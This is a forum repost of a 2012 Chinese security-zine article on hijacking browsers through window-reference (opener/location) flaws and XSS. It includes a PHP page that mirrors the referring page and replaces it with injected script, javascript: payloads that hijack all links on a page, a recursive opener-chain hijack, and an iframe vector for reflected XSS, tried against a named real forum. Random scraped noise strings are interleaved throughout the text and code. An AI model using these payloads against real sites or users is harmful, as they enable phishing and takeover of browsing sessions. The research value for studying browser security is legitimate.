中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
. {; r" Y- K1 D8 x
8 y3 B/ [* F# D. A7 M3 M) _
Issue 0x03, Phile #0x05 of 0x07
7 k+ u! x2 D& m! D: @) T
* Z2 u# d2 B" Q3 z1 Z
( `8 X% G4 }/ c' ~' L, Y
|=---------------------------------------------------------------------------=|
! d8 v5 y* h' D
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
" d1 p) ?# L8 L+ j7 ?) W
|=---------------------------------------------------------------------------=|
3 _( i1 a/ f( [6 C( r" y y: Y9 m
|=---------------------------------------------------------------------------=|
4 l* ~1 ~& z7 ]& E+ D' C
|=------------------------=[ By rayh4c ]=---------------------------=|
. _: T k) X) ]! _) o
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
4 D! E! Q# R+ t$ `2 T' q
|=---------------------------------------------------------------------------=|
& u2 [4 w7 o9 u9 N; l. v1 I
$ x* r6 I' I) k$ X7 ^* ]
& |: J& u& Z6 n: x
[目录]
# x/ n& G# s& V" E9 P
- O/ F2 h9 @/ o! V" U3 r# u
1. 前言
# |( l; u0 Z6 x: X( j+ p4 j
2. 同源策略简叙
" W+ m) b5 {8 M6 \
3. 理解window对象的同源策略
1 ]. n9 l! X. D
4. 窗口引用功能中的同源策略漏洞
* h- z) j6 { u \# z! V2 k) c) i
4.1 父窗口引用子窗口的同源策略问题
0 t$ _& S0 S% N- E* t0 P
4.2 子窗口引用父窗口的同源策略问题
- V; G% ?9 C" b
5. 利用窗口引用漏洞劫持浏览器
; Y1 L& T) t, A: w7 G. t3 ~& W
6. 利用XSS漏洞劫持浏览器
: o, _+ c* T4 H! X* y
6.1 正向跨窗口劫持
9 f; u8 F+ W" Z1 Y3 j' o) B
6.2 反向跨窗口劫持
1 ?& i, v- }0 G) i; R
6.3 极度危险的跨框架窗口引用劫持
6 [ T. p# s* m9 M' m
6.4 极度危险的正反向跨窗口递归劫持
# F& \- g5 u4 {0 I9 S- c
6.5 完全控制浏览器
) B0 |7 D" n: @
7. 后记
+ V% x1 C/ q8 M; F4 |) o# E0 I
8. 参考
& }3 b! Q9 L6 L; o" t
( D5 }* U% H2 F9 v
6 k$ W% E; o0 K5 b& P- p9 y7 X- w/ s. G4 a
一、前言
) T! I g& ~5 x( S) s( ^
, N# H `2 X1 K$ _( r4 @* }
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% C8 M' a. V8 o5 X: V+ v. M" }0 C
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) a- R) ^( k; b! x# d4 m( w$ t
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
; |/ J: T( P/ G8 K" C# o! p
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
: ?. F: a9 o$ X! H
, Y, K7 y! R2 l1 P6 J9 q8 g" o
4 P5 l8 e8 I$ F6 z+ C, \5 Y
二、同源策略简叙
" C, k# j) j E8 o; R
* E9 `3 x$ B1 q! d0 U7 c
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
# Z Y* z& Z! F9 i/ }
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
0 }. |$ \* o. Y$ m3 L
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
8 w" s! f K' x6 t/ @
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
. x" R2 s' G- K2 c) ~ K
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
& W/ \. y+ C! B1 d& H5 w! i
! V( q$ p; l o6 C& ^* E
: D3 f( k5 N+ X) h3 q/ S6 Q- o" ^: x
三、理解window对象的同源策略
5 b( o8 e; t/ j% a/ y5 E8 ~
6 Z5 D0 o+ m2 X v
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
$ G8 _; g+ H0 R7 [ h
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
( E7 f! m9 p! m$ \8 y- X- `. A
V% Z i; U1 [& u4 r3 y' L2 d6 m4 k
--code-------------------------------------------------------------------------
' u1 D0 @* j, O; P. Q/ s" i9 ?* e
<script language="javascript">
% ]) }6 r u2 D- ] A3 V5 B6 ^
for(p in window) document.write(p+"<br>");
" f6 \& P+ i3 d* M. e# L
</script>
: g& c7 R: o: e; S* v
-------------------------------------------------------------------------------
4 w) _. F/ R, E+ Y# h$ r% g3 K
7 X0 ]9 X; c# c+ b( I% L; ^
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
- h2 c; o& W- r j; R ~) L" \
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
1 l! l# v; ?0 l3 ~9 \9 H/ v4 [2 O
这些属性和方法就必须遵循同源策略。
$ y" r+ g u3 y( z8 j$ h. S
" V( Z' J* a; [. ]1 D
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
5 Y8 P. G/ A# @5 U6 C0 n
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
6 M' O! \4 V( l% Z% M& A; K
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
5 Q1 f; B$ y7 D7 V
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
2 p& @3 E8 {5 `; j" m* c
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
) t' G. [$ a' L6 G {' G7 h
属性并没有被拒绝访问。
# U' ^& b f0 p
; u' ?: C' k- F6 W
--demo.html--------------------------------------------------------------------
: e. n; D o9 q" S( a5 A% C* ~
<script language="javascript">
5 S% G* |9 p+ D& k# O6 N
function allPrpos(obj) {
4 E: ~! \0 e8 Z7 C/ X& o, h) A
var props = "<table><tr><td>名称</td><td>值</td>";
' ~6 `" L( P0 a% n; n
for(var p in obj){
( F& o6 A N I+ I/ z$ K: A4 g
if(typeof(obj[p])=="function"){
, Q- _- o* G: ?' Q
obj[p]();
2 t, U; M& n, I& I/ h/ F
}else{
( H0 V+ ?* i9 u
try
5 O6 }( P+ u i
{
, ?$ @7 B5 j/ |6 u+ N' T
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
" W+ O4 M; I* @
}
0 q9 |9 T/ R: z% m
catch (ex)
/ L2 ~4 v1 ^9 B4 C8 S
{
; [) Z' k" _0 k8 V0 F) o) o* D2 c6 W
3 A! @$ y/ {$ T3 W' f) k1 q
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
' ^, x5 E* O8 n8 a' f# x9 M+ j
}
% k1 g" N& L& v( F
8 T$ y9 f2 G8 I: D2 T
}
o }5 U+ O) P" K7 H( `: C9 `
}
5 N+ S7 k& F7 z3 T6 k- M/ a, F
; [' S7 L0 {( r2 S2 m8 d
document.write(props+"</table>");
% |6 I2 \' V) ]- v, O6 T" C
}
' r6 R L. Z( p b$ G C4 {$ W; @
1 S4 I3 X1 x# K/ _6 b! _ M
function createWin() {
, P1 ^% I0 q* n4 i! C% G
newWin = window.open ("http://www.google.com");
5 p2 _2 S+ y, T) B( F
setTimeout(function(){allPrpos(newWin)},2000);
2 {- m5 D7 o. K# K7 w" h
}
8 P7 p" g/ N( x* H7 m
, N! q) ^0 [9 c
</script>
% D3 R v c, ^/ R- z3 r
8 g/ J& M4 [! e% [9 b0 d
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 m4 b- w; H* E6 X; X5 j+ F
-------------------------------------------------------------------------------
B$ m7 S. V* v6 A3 `3 G
+ c* u) c2 t( u% S/ S
: S Q7 U3 m b, E- H7 \
四、窗口引用功能中的同源策略漏洞
- {( x. r: Y2 D# w$ m9 v1 v/ z
) _8 i! G% i8 v1 {' A# q
4.1 父窗口引用子窗口的同源策略问题
4 M6 w# E# I; n8 u
9 A7 e3 I% K* g
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
/ T- D1 g3 x, @' h! k
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
1 M7 [ k( n6 e6 e" z/ _
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
, v, i- ~$ [8 J4 x
行测试,会发现父窗口可以控制非同源子窗口location属性值。
: G: x3 c" T4 t8 e! \( H
0 X' ` w4 D3 d" T6 s
--vul1.html--------------------------------------------------------------------
. I" s5 A4 H& q4 v; y4 \
<script language="javascript">
0 F6 H1 b6 V/ K% H6 ^3 X0 p
function createWin() {
) K" G" k* J' Q A1 ?* V
newWin = window.open ("http://www.google.com");
- s# O" V! ^- A; j" a& Q" @! V
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
- y/ _. P$ ], S4 i, a3 G8 C5 ^
}
* C w- d) ^% K6 F! U6 g4 }0 a
</script>
* `3 h2 G# v x3 a7 V R
3 A9 v6 c3 I7 a$ x4 }
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
, v! L# N# E0 H
-------------------------------------------------------------------------------
8 q9 L; w/ `' [
& m! Y- A! _' n3 M( w# Y
1 D/ Z6 V$ \3 z) L$ ]
4.2 子窗口引用父窗口的同源策略问题
' Z" ^. t+ K/ W
; Z' t0 X# {/ R: H0 V9 F
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
S5 B& d+ f, R- D. D4 V( Q2 S
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
* Y* u5 \/ \0 ]. i+ k
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
# p. ?2 |7 e' h" |
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
4 G6 A7 P L$ P, n- s6 e7 r6 \3 w3 [2 g1 q
* p+ W- W* {9 H9 Y: K6 H
--code-------------------------------------------------------------------------
8 J+ y7 m1 z: G, o9 L1 f
4 q6 ~8 i9 e. h" V2 D
javascript:window.opener.location = "http://www.80sec.com";void(0);
z& Q( W, J: }& J$ J& }6 V
# M, z5 d. G( J3 @ p: q. u5 P5 n
-------------------------------------------------------------------------------
1 }4 s+ V- y( J
0 Z& Z3 {. M" ?3 s. a$ s: R0 `
1 K$ H1 }9 a! ?1 l/ ?6 A+ D8 i+ x
五、利用窗口引用漏洞劫持浏览器
* E! K7 \- E0 L/ c8 \1 F+ [) A5 G: g
6 q5 b" S2 U2 ]; ^- z
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
6 M+ h) {* p/ i' e( X" \2 e, X
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
" @! R% g# z# t1 J; }- }0 I7 u
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
7 p2 [9 h( L" E7 {; M, O; {
4 u* G( m& F. s9 i
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
7 R6 F0 Y- a6 U9 @3 |( p
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
4 c! P: D0 H* d; B: a
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
( d& i$ M9 l# f0 S7 F) `% K, {; {
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
, w. c/ L* J' ?- D2 a8 n
会产生什么可怕的后果。
+ d7 h% y' k( L3 T
5 _/ i8 w$ d6 }" B$ j+ l. v4 f& C; I
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
* O' x6 I1 a/ _/ l# H4 N
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
8 Y& J! u% N7 L/ Q* ^/ ]2 X
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
* [3 V% Z3 N8 t# P8 T% _8 b
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
* Y$ k9 y' X2 C: M( F7 E
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
, t. H/ k# ^- M+ L& @+ R
: O2 K2 R) d, M0 v- H
--hjk_ref.php------------------------------------------------------------------
7 O2 E2 V0 D0 M, r* S7 x
<?php
8 G0 `- S0 Z& u2 J( w7 i" {
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
+ ?" m R, Q4 y5 u9 ~' @2 l
$Url_Mirror = $_SERVER["HTTP_REFERER"];
) }( F) M& t3 L$ D* e6 q
}
* v" g' i1 i A0 f
if(isset ($_GET['ref'])) {
' ~8 Z2 E1 w3 L* C, p5 i2 G
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
* x3 N$ l! |" i
}
4 p; `7 r& _' j4 ~7 R" `
?>
: J* P4 a9 L3 l" R( G. a W/ j- W
( L9 E6 K" [/ S0 C$ ~7 _! x6 T
<script language="javascript">
, S+ `7 w) R, w! X, a
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
" a$ {8 l5 {0 W2 ^+ ~
</script>
& ~# g+ x+ `7 b( s/ Z% e* m
-------------------------------------------------------------------------------
+ W2 w% K6 `% Z \2 U6 ~! X
# o9 }5 K! D; h* j8 y/ r( G
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
+ y7 s: I- W5 {2 ]6 Z) t
( `5 S& I. Z. e: g) \ _
8 r+ M4 U b& T ?" e
六、利用XSS漏洞劫持浏览器
: c: o$ w5 P* z2 ]3 s3 v( Q
/ c7 q, J4 H7 g; c, C3 B7 E2 f. ^
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
+ D1 t( ~2 d/ k5 F
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
8 H+ T3 ^9 j* F
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
* ^$ y7 k4 K! @0 ^/ A! g2 E
讨论跨站师的终极技巧:
8 x7 _+ \9 w7 p9 k7 f( {5 r
- m# D" y# V+ t2 l
. i( p( Z) Y1 ?/ k+ J' O# d
6.1 正向跨窗口劫持
4 H$ L$ d5 I8 ?% m/ S- M
- o7 r- {# B( J; f; @
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
. @: Z- E; n2 t6 o/ \1 R
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
4 h9 I! l2 j% h( M/ a2 ?; N+ C
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
3 b$ X) v7 G0 R6 Q
框脚本。
N# U1 @# G0 S4 h; {% O/ F+ ^
" [: {8 h& L7 {4 L
--hijack_open.js---------------------------------------------------------------
1 _" A# P1 m8 [; d5 k! A8 y
, _# c+ m: r2 V* _ N" v
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
+ _+ g1 ?9 F4 T9 u$ o: O& K
& ~: ]) o2 o- b' ^' E$ c4 V W- K
-------------------------------------------------------------------------------
( ?3 p: ?; p3 {; x# D6 H0 B- ?8 ]
, z" ]9 Q$ `/ r
/ R+ i- A3 d8 n' Y% K+ i
6.2 反向跨窗口劫持
/ v0 F" h% r1 u, X; N# O
# m6 D5 P3 v2 y) D% O, H
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
" t% V( s3 {- T* ~
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
( R. B' T" ^: J
框脚本。
, U1 }$ D/ M* w/ k' U- c, }. a! P
$ J( y) D! t5 ^
--hijack_opener.js-------------------------------------------------------------
0 y. ?4 L3 m( u0 L0 |
0 \- T, d3 k6 c9 k0 t
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
, W, e. v% F# I$ G' |
% K& s# ~9 v* \1 s& z/ t' W
-------------------------------------------------------------------------------
2 c1 V7 h2 p, c1 g
; j) W8 H# e' q7 A0 J( M
4 Q; T/ y5 v; Y6 Y5 h- B
6.3 极度危险的跨框架窗口引用劫持
& w- I! \3 O/ A O' I8 b; N# J! i
' O7 h; \; H& A7 p. m6 [1 W8 [2 t
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
0 S; K7 j1 n( U6 N2 o4 Y
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
1 x$ n3 g' p; F7 h2 M2 f* h
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
3 Z* Z7 J9 u& j
非持久型的XSS,如下:
8 S0 r N& y4 f7 C5 Y0 S
" t: y Y( `3 s7 |: m
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
" u6 ^. G1 A# ~- X0 H$ y
4 T1 B# f% E4 ^6 z0 T
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
9 u1 Q2 K5 t y1 v9 T! f: }
注入脚本。
% f% |5 Z) e/ B0 w! E
7 g5 t9 c! ]. K' {: J
--hijack_frame_opener.js-------------------------------------------------------
- e" k! w$ [9 Q# P, l3 @; e6 t' H' F1 e
<script>
4 L( ]) }( z4 _+ K2 q% A- J& B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
, o) L; a4 H. ]- [* g
</script>
7 { x: h# b2 V6 t* J! I
-------------------------------------------------------------------------------
# p5 ^* L- y- a h3 l( z' E! J
* K) z" h; j: X5 i: M
- Q Q7 g5 d4 b
6.4 极度危险的正反向跨窗口递归劫持
' T/ H7 Z' i3 \6 v' P/ U! I. t
( t+ w/ N" J' A$ u
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
1 [% G+ V! B# u7 N' Q: v' q* ^# I! A
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. {( L" B. |& N+ u6 n$ k6 F
异常处理规避之间跨域页面的访问异常,代码如下:
% x( N. l% t; a A" [' @9 U6 d5 |
8 f1 W% a; S- ]" t: t+ ^; }7 Q
--code-------------------------------------------------------------------------
( V' m9 _# _% W |
$ c9 I* M9 f( ?" l: n2 Y
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
0 L7 t) s' Y- g: T ^# D' j
6 |# d2 O% M8 r# u+ e
-------------------------------------------------------------------------------
* |5 K1 j# Z0 J5 p0 {( H
' P# {( o' U& x
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
Q0 F2 ]/ I' i* v5 }
以劫持B域之前的A域页面,从而实现“隔空打击”。
) m& u& J. L2 ~# h
' [% }$ u3 ?6 D4 k
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
% I$ ^4 Z8 c" w% A, P- l
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 ], ?# @' i; k% J4 n! c) f0 R
. j- B! C, \+ s, o( m4 E+ c
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
$ O& V1 R) K( m9 N: f3 s c- r6 ]
}* m8 P2 V5 L. I9 i
7 V$ E2 G, k: W; b V
6.5 完全控制浏览器
2 p& T# \3 v3 x7 x2 @( D
0 K+ R0 W: ?. u
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
& t8 x6 X2 ^7 n7 d5 A3 @
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
% }) Z; w Q1 |1 m
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
9 L! u* n6 N; e) I
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
% q% Y& U6 i0 v2 c% P) Z. O
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
7 f l' I. A3 X/ j$ f
师的终极目标 - 完全控制浏览器。
0 O0 }& R, z# \, @" M% b9 Q- R: }
8 n6 E: T6 R2 F
: g" ]7 c! |9 j
七、后记
! u. ~4 \+ f0 i; A- }0 M
$ {' s9 L9 u/ ?. t; I
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
4 q7 E7 R, z9 A! ~( E! V; @
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 o0 o; X* T3 R: O
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
5 J* s# C; P, V. O1 |
2 l0 f a( |# n. H
* I8 o" Y/ L$ Q- O; I, N6 d$ b. m
八、参考
+ l8 W6 O, U$ S0 G' B
/ _0 |2 y% D* S, l! R1 ~
1.
http://en.wikipedia.org/wiki/Same_origin_policy
o! O, g7 j- x. w$ e9 Y a& l9 ^
2.
http://code.google.com/p/browser ... licy_for_DOM_access
! [% ?5 v- L( i) l' m3 N! S- `" j
3.
http://www.w3.org/TR/Window/
' j1 l2 o5 Z) f# y
4.
http://www.80sec.com/release/browser-hijacking.txt
$ O; F/ K e4 k. {, e
5.
http://www.80sec.com/all-browser-security-alert.html
2 d! S+ r7 }0 }6 ^" s; | h
6.
http://www.80sec.com/ms08-058-attacks-google.html
1 H& E$ {7 c# @- W4 v& Y( J8 {
& ` F, J! L2 q* b9 G' n% n
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2